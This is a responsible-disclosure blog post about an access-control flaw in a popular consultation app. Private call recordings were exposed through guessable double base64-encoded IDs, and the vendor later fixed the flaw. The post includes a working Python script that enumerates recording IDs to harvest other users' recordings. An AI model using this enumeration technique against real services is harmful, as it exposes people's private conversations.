Time and again, we’re reminded that mere encoding doesn’t equate to robust encryption or security. Relying primarily on encoding as a defense can expose companies to unexpected vulnerabilities. While encoding can help obscure information, it’s crucial to remember it’s not a substitute for genuine encryption or tight access control.
This recent lapse came to light in a popular online consulting platform’s mobile app, available on both Android and iOS.
As the focus of this blog article is educational, centered around the vulnerability, I will abstain from naming the organization. However, I can share that it’s a renowned Indian firm, with its app being utilized by over 43M users.
This widely-used app, known for its online consultations, learned the lesson the hard way. The company opted to encode parameter values but, regrettably, did not pair this with stringent access controls. This created a security gap, notably around call recordings. In this article, we will delve into this matter, highlighting the significance of such lapses and the potential threat to our personal data.
The following issue was first brought to the attention of the CEO through LinkedIn and was also communicated via email to the company’s support address. Despite highlighting the severity of the problem, there was a lack of responsiveness from the company. As a result, the matter had to be escalated and filed with the CERT-IN panel. It was only after CERT-IN’s intervention that the issue was addressed and mitigated.
Vulnerability Details
The vulnerability allows unauthenticated users to decode shareable links and alter the parameters, thereby accessing private call recordings of users.
The core of the vulnerability revolves around how the website handles (encodes and decodes) URL parameters.
In the mobile app, which is available for both Android and iOS, users can share their call recordings.
Here’s the interface for sharing the call recording (notice the share icon):
Following is the shareable link generated:
When you click on the provided link (https://[redacted].com/play/shared/TVRZNE1UazRPRFF4TlRBME1RPT0
), it redirects you to https://[redacted].com/call-recording/TVRZNE1UazRPRFF4TlRBME1RPT0
, where you can access the call recording without requiring any authentication.
For context, consider this shareable link:
https://[redacted].com/call-recording/TVRZNE1UazRPRFF4TlRBME1RPT0
The part TVRZNE1UazRPRFF4TlRBME1RPT0
in this link is the result of double encoding using base64. When this value undergoes double decoding, it translates into a 13-digit number. Alarmingly, by adjusting the last seven digits of this number and then encoding it back the same way, an individual can gain unauthorized access to others’ call recordings.
By visiting the link https://[redacted].com/call-recording/*
(with the appropriate encoded value), one can view the name of the customer and the person they spoke to, along with the call recording itself.
These recordings reside in an S3 bucket and can also be directly accessed using the link https://[redacted].com/play/*
(where *
represents the base64 encoded value).
Interestingly, even when users believe they’ve deleted the recordings from their accounts, these recordings remain stored in the S3 bucket. While the recording might not be accessible through the https://[redacted].com/call-recording/*
link, it can still be retrieved and downloaded using the https://[redacted].com/play/*
link.
Exploit
A Python script was developed with the capability to extract call recordings from the application’s users. Given that this involved a production environment with genuine user data, the script was tested exclusively on specific test accounts, using a designated range of numerical values. The script successfully accessed recordings associated with these test accounts.
Here’s the snapshot of the valid call recordings obtained:
The following python script was used to exploit the vulnerability:
import requests
import base64
# Initial URL
url = "https://[redacted].com/play/MTY4MTk4ODQxNTA0MQ"
base_url = "https://[redacted].com/play/"
encoded_path = url.split('/')[-1]
padding = len(encoded_path) % 4
if padding != 0:
encoded_path += "=" * (4 - padding)
decoded_path = base64.b64decode(encoded_path).decode('utf-8')
prefix = decoded_path[:6]
num = int(decoded_path[6:])
valid_urls = []
valid_paths = []
for i in range(num, num+1000): # Adjust this range based on your needs
new_path = prefix + str(i).zfill(7)
new_encoded_path = base64.b64encode(new_path.encode('utf-8')).decode('utf-8')
new_encoded_path = new_encoded_path.rstrip("=")
new_url = base_url + new_encoded_path
print(f"Making request to: {new_url}")
response = requests.get(new_url, allow_redirects=False)
print(f"Received status code: {response.status_code}")
if "cannot find recording" not in response.text:
valid_urls.append(new_url)
valid_paths.append(new_path)
print("\nValid URLs:")
for url in valid_urls:
print(f"\033[92m[+] {url}\033[0m")
print("\nValid shareable links:")
for path in valid_paths:
double_encoded_path = base64.b64encode(base64.b64encode(path.encode('utf-8'))).decode('utf-8').rstrip("=")
print(f"\033[92m[+] https://[redacted].com/call-recording/{double_encoded_path}\033[0m")
The underlying logic of the Python script revolves around searching for legitimate recording URLs on [redacted].com (https://[redacted].com/play/
). It begins with a known valid URL and proceeds by attempting various combinations of this URL. The script determines the authenticity of URLs based on the HTTP response it receives upon each request. Conclusively, it generates a list of shareable links (https://[redacted].com/call-recording/
) by double base64-encoding the validated paths and merging these with another primary URL.
To understand the script’s operation better, here’s a brief breakdown:
- Parsing the initial URL: The script first parses an initial URL string, extracting the base64-encoded part from the path.
- Base64 decoding: It then base64-decodes this path, and extracts a prefix and a number from the decoded string.
- Generating URLs: The script uses this prefix and number as a base to generate a range of potential new URLs. It does this by appending different numbers to the prefix, base64-encoding the result, and appending this to a base URL.
- Sending requests: For each newly generated URL, the script sends a HTTP GET request, checking the response.
- Checking response: If the message “cannot find recording” is not in the response, the script assumes the URL is valid and and adds it to a list of valid URLs and paths.
- Displaying valid URLs and shareable links: Finally, the script prints out all the valid URLs it found. It also creates and prints a list of shareable links by double base64-encoding the valid paths and appending these to another base URL.
Impact
The vulnerability lead to unauthorized access to call recordings that users assume are private, presenting a significant security and privacy threat for users of the affected website. The potential repercussions include:
Users often share sensitive details in their call recordings, expecting them to remain private. This vulnerability undermines that expectation.
Malicious actors can exploit this flaw to access and hear recordings they have no right to, intruding on users’ privacy.
Such exposed recordings can be weaponized for nefarious aims, such as impersonation or identity theft, through techniques like social engineering.
Vendor’s Mitigation
The company has addressed the issue by altering the structure of the call recording URL. Instead of the earlier encoding approach, they’ve adopted a nondeterministic identifier for pointing to call recordings. The updated URL format is:
https://[redacted].com/call-recording/bc0b4fe8-8054-4502-b06e-99b2b45dc76d
Additionally, these URLs now have a Time-To-Live (TTL) feature, ensuring they expire after a certain duration. In relation to the S3 storage, the associated S3 recording URL will also become non-functional after the designated TTL.
Conclusion
The vulnerability’s potential reach was staggering, with the potential to affect up to 43 million unique users. This vast number magnifies the implications of what might seem like a minor technical oversight. The company’s claim to have served 43 million users translates to an equal number of individuals being at risk of having their personal and private conversations accessed without authorization. This is more than just a number; it represents countless moments of personal sharing, confidential discussions, and intimate details, all of which could have potentially been laid bare.
Relying on base64 encoding, which is not a security measure by design, combined with an absence of proper access control, essentially left the door open for potential malicious access. Such a flaw not only risks the sensitive data of millions of users but can also jeopardize the trust that users place in digital platforms.